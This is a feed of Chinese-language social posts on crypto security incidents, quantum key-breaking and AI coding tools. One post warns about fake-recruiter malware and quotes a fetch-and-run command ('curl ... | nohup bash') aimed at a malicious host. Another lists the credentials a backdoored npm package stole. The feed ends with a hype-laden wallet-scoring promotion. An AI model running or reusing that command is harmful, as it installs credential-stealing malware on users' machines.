TheSmartApe🔥

你告訴我，七個月前，一台量子電腦破解了一個6位元的橢圓曲線密鑰。
上週，一位研究人員破解了15位元的密鑰，而比特幣使用的是256位元？
每個比特幣錢包都受到ecdsa，橢圓曲線數字簽名算法的保護。
你的私鑰是你幣的唯一鑰匙。你的公鑰是鎖的序列號，對所有人可見。
從公鑰，你無法推導出私鑰。這就是為什麼你的比特幣屬於你。
量子電腦可以破解這一點。Shor的算法，在量子硬體上運行，可以從公鑰計算出私鑰。
這已經被證明。唯一的未解之謎是可以破解多大的密鑰。
> 2025年9月：首次公開演示，6位元密鑰
> 2026年4月：Giancarlo Lelli用27個量子比特在45分鐘內破解一個15位元的密鑰，贏得1比特幣獎金
這是7個月內512倍的飛躍。比特幣使用的是256位元。還有241位待破解。
聽起來很遠。其實並不。
谷歌2026年4月的白皮書估計，約需要50萬個實體量子比特來破解一個真正的比特幣密鑰。
加州理工學院和Oratomic的一篇後續論文將這一估計降低到約10,000個中性原子設置的量子比特。
目前硬體：IBM擁有超過1,000個量子比特的機器。Atom Computing已展示了由超過1,000個中性原子組成的陣列。IBM計劃到2026年底實現超過10,000個模塊化量子比特。
“我們擁有的”和“所需的”之間的差距曾經是一

小心假招聘面試。它們現在已成為最乾淨的惡意軟件傳播途徑之一。
我兄弟這週差點中招。
步驟如下：
> 一個“招聘官”在LinkedIn上聯繫他
> 他們實際上已經閱讀了他的履歷。他們知道他的技術棧。他們預約了一個真正的面試時間。
> 通話前幾個小時：“你能在我們談之前快速瀏覽一下我們的產品頁面嗎？”
> 訪問該網站時，背景會執行以下命令：
curl -s macos[.]hyperhives[.]net/install | nohup bash &
如果你在提示時輸入密碼，就完了。
一位研究員(Darksp33d在Github)反向工程了這個二進制文件：
> 每個配置字符串都用570個獨特的自定義函數加密
> 解包後：完整的C2伺服器、完整的端點列表，以及一個與開發者在法律傳票下相關聯的sentry錯誤追蹤DSN
> 276個針對Chrome擴展ID，涵蓋188個加密貨幣錢包
> 與朝鮮“傳染性面試”的TTP重疊度很高
> 在VirusTotal上的得分為9/64。CrowdStrike、Sophos、Malwarebytes都未檢測出來
真正的招聘官、真正的履歷、真正的面試時間、看起來真的網站。一行curl就能掏空你的錢包。
如果“招聘官”讓你在終端中運行任何東西，即使是看似無害的構建腳本，也要關閉標籤。

大家都錯過了這個。幾天前，bitwarden cli (其中一個最大的密碼管理器) 在 npm 上被植入後門。
存活了93分鐘。在有人注意到之前，有334位開發者安裝了它。
事情的經過：
> 攻擊者劫持了一位 bitwarden 工程師的 github 帳號
> 推送了一個惡意版本的 npm 套件 (@bitwarden/cli@2026.4.0)。
> 在那段時間內，任何運行 npm install bitwarden/cli 的人都下載了後門。
安裝腳本並未直接傳送惡意軟體。它從 github 的官方發布端點下載了 bun 執行環境，因此網路流量看起來完全合法。然後 bun 執行了真正的載荷，bw1.js。
被盜取的內容：
> npm 令牌
> github 令牌
> ssh 金鑰
> aws / gcp / azure 憑證
> .env 檔案內容
> 來自 claude code 和 codex cli 的 mcp 配置檔 (是的，AI 助手的秘密現在也成為戰利品的一部分)

伊朗表示在戰爭期間一些設備重啟，當時它們與全球網路斷開連接。
假設：一個韌體或啟動載入程式的後門，被衛星觸發。
它的運作方式：
> 嵌入在操作系統下方的程式碼，位於韌體或啟動載入程式中
> 處於休眠狀態。對標準監控工具來說是不可見的。
> 聽取觸發信號：定時器、格式錯誤的封包或帶外信號
> 在觸發時，執行預先載入的有效負載
> 重啟會抹去大部分證據
此時，驗證幾乎不可能，但保持警覺是很重要的。

🚨 最新消息：有人剛用人工智慧駭入 @hyperbridge 並帶走了 23.7 萬美元。
攻擊者利用 AI 製作一則看似合法的假訊息給橋接合約，就像一封完美偽造的信件說「我現在是新經理了」，橋接合約相信了它。
一旦被「升任」為管理員，攻擊者就在以太坊上空投出 10 億個 $DOT 代幣，並在沒有人注意到之前將它們拋售掉。
→ AI 生成一個偽造的跨鏈訊息
→ 訊息通過 hyperbridge 的閘道
→ 橋接合約認為是真的，並執行它
→ 攻擊者成為代幣合約的管理員
→ 空投 10 億代幣
→ 出售所有代幣
→ 消失無蹤
製作一個看起來有效的跨鏈訊息曾經需要數週的手動逆向工程。
現在一個大型語言模型（LLM）可以分析合約，找到弱驗證邏輯，並在幾個小時內產生完美的偽造有效載荷。
最諷刺的是？
hyperbridge 竟然在 4 月 1 日發了一篇名為「Hyperbridge 被駭事件說明」的笑話貼文。
他們還在炫耀他們的 ZK 證明系統讓他們「無法被駭」。
12 天後，就有人證明他們錯了。

如果你沒有安裝這10個claude插件，別跟我說你在有效率地使用claude。
沒有插件的claude = 一個沒有手臂的大腦。
𝟭. feature-dev
描述一個功能 → claude執行完整的開發週期：需求、架構、程式碼、測試、審查、文件。不是程式碼片段生成器。像個初級工程師。
→ npx skills add anthropic/feature-dev
𝟮. frontend-design
阻止claude寫出通用的「AI風格」UI。賦予它真正的設計直覺，不對稱佈局，有意識的排版，滾動動畫。
→ npx skills add anthropic/frontend-design
𝟯. context7
claude的訓練資料已經是幾個月前的。context7會抓取實時文件，針對你使用的庫的確切版本。不再有幻覺API。
→ 在claude桌面版的MCP設定中添加
𝟰. github mcp
從聊天中搜尋倉庫、閱讀程式碼、開啟問題、建立PR。「修復問題#42」→ claude閱讀程式碼，提出修復方案，開啟PR。
→ 在anthropic官方市集提供
𝟱. postgresql mcp
問「上個月花費最多的前5位用戶」→ claude檢查你的資料結構，寫SQL，執行，返回資料。只讀，避免破壞。
→ 在MCP設定中添加
𝟲. playwright mcp
「測試結帳流程

代理記憶問題剛剛被解決了。它免費而且使用起來很簡單。
這個專案叫做 mempalace。
想法很簡單：
大多數記憶系統都試圖判斷什麼重要，然後進行摘要，只保存那些內容。
mempalace 做的事情是：
先把一切都存起來，接著讓它可以被搜尋。
與其像這樣抽取資訊：
•「用戶偏好 postgres」
•「專案使用 graphql」
然後把發生實際推理的對話丟掉，
它會完整保留原始的對話往來逐字內容，並使用語意搜尋，之後在需要時找回正確的記憶。
所以你保留的是「為什麼」，而不只是摘要。
它是如何運作的：
> 所有內容都保留在本地
> 它把你的資料存到 ChromaDB
> 它把記憶整理成一種他們稱為「宮殿」的結構
> 然後你的代理在需要時就能搜尋這些記憶
如何使用它：
1. 安裝 mempalace
2. 在你的專案中進行初始化
3. 挖掘你的聊天 / 文件 / 程式碼庫
4. 透過 MCP 把它連接到你的 AI
5. 從那時起，你的代理就能在需要時自動查詢你過去的決策
他們也聲稱：在 LongMemEval 的 raw 模式下，本地可達 96.6%，且零 API 呼叫。
所以大致就是：
• 本地記憶
• 沒有雲端
• 沒有訂閱
• 不會因摘要而破壞上下文
• 只有在你的代理需要時才進行完整回溯記憶
老實說，這就是代理記憶正確的方向。

以下是建立一個提示檔的方法：讓它能隨著時間自我改進，並幫助你產生更精緻的網頁應用程式。
1. 使用 Playwright MCP 伺服器將 Claude 連接到你的應用程式
2. 將你的元件生成規則儲存在一個檔案中
例如：src/lib/prompts/generation.tsx
3. 請 Claude 執行以下操作：
• 打開 localhost
• 生成一個元件
• 審查實際的視覺輸出
• 更新提示檔
• 重新生成並進行比較
範例提示：
「導航到 localhost[:]3000，生成一個基本元件，檢查樣式，並更新 src/lib/prompts/generation.tsx，以便之後產生更好的元件」
因此，與其重複那些像下面這種通用模式：
• 紫藍漸層
• 置中的英雄區塊
• 預設的 Tailwind 對稱性
它可以把提示引導到：
• 更溫暖的配色系統
• 更有原創性的間距
• 非對稱的版面
• 更清晰的視覺層次
• 更少看起來「很 AI」的元件
如果你想把 AI 元件生成變成一個真正的設計工作流程，這個模式非常實用。

如何在不必向你的代理提供 1000 條設計指令的情況下，獲得專業的網站設計？
你只需要 1 個 GitHub 儲存庫：awesome-design-md。
與其每次都試圖在提示中描述整體的視覺風格，不如直接給代理一份 DESIGN[.]md。
同樣地，AGENTS[.]md 告訴代理如何建構，而 DESIGN[.]md 則告訴它產品應該長怎樣。
這個儲存庫基本上是一個從真正以開發者為導向的網站中提取出來的、精選的 DESIGN[.]md 檔案圖書館。
具體使用方法：
1. 前往該儲存庫
2. 選擇你喜歡的風格
3. 將該網站的 DESIGN[.]md 複製到你的專案根目錄
4. 請你的程式碼代理使用該檔案來建構
5. 如有需要，調整 DESIGN[.]md，而不是重寫一大堆提示

我見過的較實用的 Claude Code 項目之一。
它將 Claude 轉變為一個完整的求職操作系統：
> 評分工作機會
> 為每個職位量身定制你的履歷
> 扫描招聘網站
> 批量處理申請
> 在一個流程中追蹤所有進展
具體使用方法：
1. 克隆倉庫並安裝依賴
2. 添加你的個人資料配置
3. 將你的履歷放入 cv[.]md
4. 在倉庫中打開 Claude Code
5. 粘貼一個職位鏈接或職位描述
6. 運行完整流程：評估、定制履歷、更新追蹤器
很好的提醒是，目前一些最優秀的 AI 產品其實只是：
圍繞高摩擦決策構建的結構化工作流程。

目前 dispatch + cowork 的主要問題是：你無法為不同專案同時並行進行多個對話。
cowork 能順利處理背景會話，但作為使用者，你會被卡在同一條線程。
如果我正在處理我的內容管線，並且想同時迭代一個交易機器人，我需要分別建立對話，且各自擁有獨立的上下文。
並不是所有內容都應該都只透過同一個 dispatch 線程來路由。
anthropic 應該為每個專案新增各自的線程。每個專案資料夾都應該有自己的對話、自己的記憶、以及自己的上下文。
這不應該很難，因為基礎設施已經提供了專案與資料夾選擇，只差一個完善的多線程使用者體驗。

我已將整個 openclaw 架構遷移到 cowork + dispatch。
以下是用於指示 dispatch 遷移每個 openclaw 資料夾的提示：
“我在 [path] 有一個專案目錄。請讀取其中所有檔案、上下文、記憶體、指令，以及所有內容。接著在 ~/Documents/[project-name]/ 中建立一個單一的 INSTRUCTIONS，把所有與之相關的內容整合成一個乾淨的檔案，讓我能用 Cowork 使用。只保留與專案目的直接相關的內容，跳過任何無關的部分。”
1 個資料夾 = 1 個 INSTRUCTIONS。當你用該資料夾在 cowork 中開啟時，它就已具備所有的上下文。

如你所知，我是 @Tok_Edge 的智慧資金，你的分數是多少？
我在調查這個背後的人。我們談論的是牛津經濟學家、$10bn 基金的管理合夥人，擁有 8 年的加密貨幣經驗。
這些不是隨意的散戶，他們曾在推介簡報上籌集種子輪資金。他們實際管理過真正的資本。我會讓你自己去了解其他細節。順便說一句，他們百分之百知道誰是真正的智慧資金。
我也用它測試了許多錢包，分數不在乎你的持倉有多大。重點在於你的交易方式，而不是你持有多少。沒有大戶優勢。如果操作得當，四位數的錢包也能超越七位數的。這很少見。你知道有哪些錢包你想檢查嗎？
檢查幾乎不花錢。掃描你的錢包，看看你的排名，留下你的分享卡。最壞的情況是你能了解自己的交易習慣。